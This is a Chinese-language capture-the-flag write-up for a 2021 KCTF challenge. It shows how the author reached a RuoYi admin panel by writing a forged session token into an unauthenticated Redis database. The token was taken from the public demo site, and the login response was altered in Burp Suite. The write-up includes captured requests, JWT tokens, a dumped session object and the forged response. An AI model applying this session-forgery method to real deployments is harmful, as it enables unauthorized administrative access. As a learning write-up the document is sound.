提取密码 : ****
#本人web安全方面知识一直欠缺, 在好友Z的一起研究下, 这两天查阅各种资料, 现学现卖, 终于...搞定...
走过的弯路就不多说了(心里苦, 不过这两天学到挺多知识^-^), 直接写下进入后台拿到flag的方法.
0x0 寻找可利用之处
扫描端口, 发现redis数据库端口6379开启.
远程可以直接连接上.
数据库主要的有captcha_codes和login_tokens.
0x1 题目框架代码
利用搜索引擎不难找到若依框架项目的开源代码:
顺便还能找到演示地址:
演示地址可以用admin/admin123帐号登录.
0x2 分析login_tokens
redis数据库里的数据:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
login_tokens:
1794d721
-
4eb1
-
4a7e
-
af46
-
da6261bf1301
{
"@type"
:
"com.ruoyi.common.core.domain.model.LoginUser"
,
"accountNonExpired"
:true,
"accountNonLocked"
:true,
"browser"
:
"Chrome 9"
,
"credentialsNonExpired"
:true,
"enabled"
:true,
"expireTime"
:
1680912666549
,
"ipaddr"
:
"127.0.0.1"
,
"loginLocation"
:
"内网IP"
,
"loginTime"
:
1620912726549
,
"os"
:
"Windows 10"
,
"password"
:
"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2"
,
"permissions"
:
Set
[
"*:*:*"
],
"token"
:
"1794d721-4eb1-4a7e-af46-da6261bf1301"
,
"user"
:{
"admin"
:true,
"avatar"
:"",
"createBy"
:
"admin"
,
"createTime"
:
1620902433000
,
"delFlag"
:
"0"
,
"dept"
:{
"children"
:[
],
"deptId"
:
103
,
"deptName"
:
"研发部门"
,
"leader"
:
"若依"
,
"orderNum"
:
"1"
,
"params"
:{
"@type"
:
"java.util.HashMap"
},
"parentId"
:
101
,
"status"
:
"0"
},
"deptId"
:
103
,
"email"
:
"ry@163.com"
,
"loginDate"
:
1620902433000
,
"loginIp"
:
"127.0.0.1"
,
"nickName"
:
"若依"
,
"params"
:{
"@type"
:
"java.util.HashMap"
},
"password"
:
"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2"
,
"phonenumber"
:
"15888888888"
,
"remark"
:
"管理员"
,
"roles"
:[
{
"admin"
:true,
"dataScope"
:
"1"
,
"deptCheckStrictly"
:false,
"flag"
:false,
"menuCheckStrictly"
:false,
"params"
:{
"@type"
:
"java.util.HashMap"
},
"roleId"
:
1
,
"roleKey"
:
"admin"
,
"roleName"
:
"超级管理员"
,
"roleSort"
:
"1"
,
"status"
:
"0"
}
],
"sex"
:
"1"
,
"status"
:
"0"
,
"userId"
:
1
,
"userName"
:
"admin"
},
"username"
:
"admin"
}
|
从中挑出几条关键的信息:
1.管理员帐号密码
1
2
|
"userName"
:
"admin"
"password"
:
"$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2"
|
userName是明文, password进行加密过了.
审阅开源代码, 发现password使用的是Spring security中的BCrypt算法加密, 计算hash不可逆.
曾一度想尝试爆破, 最终放弃...
2.tokenId
1
|
"token"
:
"1794d721-4eb1-4a7e-af46-da6261bf1301"
|
登录成功后response包里应该有tokenId, 并且登录成功后的http访问应该都带着tokenId.
或许可以伪造一份假的token.
开干!
在演示地址中登录成功后抓http访问的包.
1
2
3
4
5
6
7
8
9
10
|
GET
/
prod
-
api
/
getRouters HTTP
/
1.1
Host: vue.ruoyi.vip
Accept: application
/
json, text
/
plain,
*
/
*
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjdiMjQ3YzFiLWVmNmYtNGE1MS05OTkxLTc5ODk0NDE5ZjQ4ZCJ9.c9z5AI3a0EpPx7bCStIq2JAsCiZDIKyt0PEE2YVrwyLDUop2N
-
gxoJKJquCrBJqQY1
-
DotWG
-
wKpPIIPMbIGtQ
User
-
Agent: Mozilla
/
5.0
(Windows NT
10.0
; WOW64) AppleWebKit
/
537.36
(KHTML, like Gecko) Chrome
/
70.0
.
3538.25
Safari
/
537.36
Core
/
1.70
.
3868.400
QQBrowser
/
10.8
.
4394.400
Referer: http:
/
/
vue.ruoyi.vip
/
login?redirect
=
%
2Findex
Accept
-
Encoding: gzip, deflate
Accept
-
Language: zh
-
CN,zh;q
=
0.9
Cookie: Admin
-
Token
=
eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjdiMjQ3YzFiLWVmNmYtNGE1MS05OTkxLTc5ODk0NDE5ZjQ4ZCJ9.c9z5AI3a0EpPx7bCStIq2JAsCiZDIKyt0PEE2YVrwyLDUop2N
-
gxoJKJquCrBJqQY1
-
DotWG
-
wKpPIIPMbIGtQ
Connection: close
|
在Cookie:Admin-Token, Authorization都有出现token.
测试删掉cookie访问正常, 说明服务器验证的是Authorization里的token.
Authorization内容和redis数据库里的tokenId好像不太一样.
审阅开源代码得出Authorization由TOKEN_PREFIX和token组成.
1
2
3
4
|
/
*
*
*
令牌前缀
*
/
public static final String TOKEN_PREFIX
=
"Bearer "
;
|
token由io.jsonwebtoken.Jwts生成.
0x3 JSON Web Token(JWT)
JWT消息构成
一个token分3部分,按顺序为
头部(header)
其为载荷(payload)
签证(signature)
由三部分生成token
3部分之间用“.”号做分隔。例如:
1
|
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
|
头部和playload
头部声明类型是jwt, 加密的算法是HMAC SHA256
playload存放数据, tokenId就是存在这里
签名signature
jwt的第三部分是一个签证信息,这个签证信息算法如下:
base64UrlEncode(header) + "." + base64UrlEncode(payload)+your-256-bit-secret
这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分
如何利用
伪造tokenId的话, 需要构造完整三部分的jwt消息.
因为没有自己搭建环境(主要是懒得敲java代码- -!), 这里直接在演示地址正常登录抓包拿下一份jwt消息:
1
2
3
|
eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjIyYmRlZDJmLTNiOTYtNDNlYi1hNmMxLTMzMmExNTY1ZDM2OSJ9.IK5aHWqQDpT5HxNQ_L8F0C_DkCGxNXzzS5Jl0q3iAnEJybQL8cWbPiaaJodjMPkLZEKXhDhNdZFg2lKsaaXsWg
{
"login_user_key"
:
"22bded2f-3b96-43eb-a6c1-332a1565d369"
}
|
0x4 开始攻击
在数据库里的login_tokens增加一个数据, 对之前存在的一个login_token做修改, 把key的名字和value里的token都要改成自己手上的"22bded2f-3b96-43eb-a6c1-332a1565d369".
添加以后, 使用burp suite带着Authorization协议头访问/dev-api/getRouters, 成功的返回了数据.
接下来就是要登录进后台了.
在登录界面, 随意输入帐号密码和验证码进行登录, 使用burp suite修改response数据:(返回登录成功结果和伪造的token)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
HTTP
/
1.1
200
Server: nginx
Date: Thu,
13
May
2021
17
:
05
:
58
GMT
Content
-
Type
: application
/
json;charset
=
UTF
-
8
Connection: close
Vary: Origin
Vary: Access
-
Control
-
Request
-
Method
Vary: Access
-
Control
-
Request
-
Headers
X
-
Content
-
Type
-
Options: nosniff
X
-
XSS
-
Protection:
1
; mode
=
block
Cache
-
Control: no
-
cache, no
-
store,
max
-
age
=
0
, must
-
revalidate
Pragma: no
-
cache
Expires:
0
Content
-
Length:
228
{
"msg"
:
"操作成功"
,
"code"
:
200
,
"token"
:
"eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjIyYmRlZDJmLTNiOTYtNDNlYi1hNmMxLTMzMmExNTY1ZDM2OSJ9.IK5aHWqQDpT5HxNQ_L8F0C_DkCGxNXzzS5Jl0q3iAnEJybQL8cWbPiaaJodjMPkLZEKXhDhNdZFg2lKsaaXsWg"
}
|
成功登录进后台!
CTF flag:2345_ert3_Wee
0x5 End
经过两天时间, 连滚带爬地学习了挺多web安全的知识, 自我感觉收获真的很大.
感谢好友Z的指导和一起学习尝试.
参考资料:
1.JSON Web Token(JWT)使用步骤说明:
2.Spring security中的BCryptPasswordEncoder方法对密码进行加密与密码匹配:
更多【2021 KCTF 春季赛 第三题 统一门派 wp】相关视频教程:www.yxfzedu.com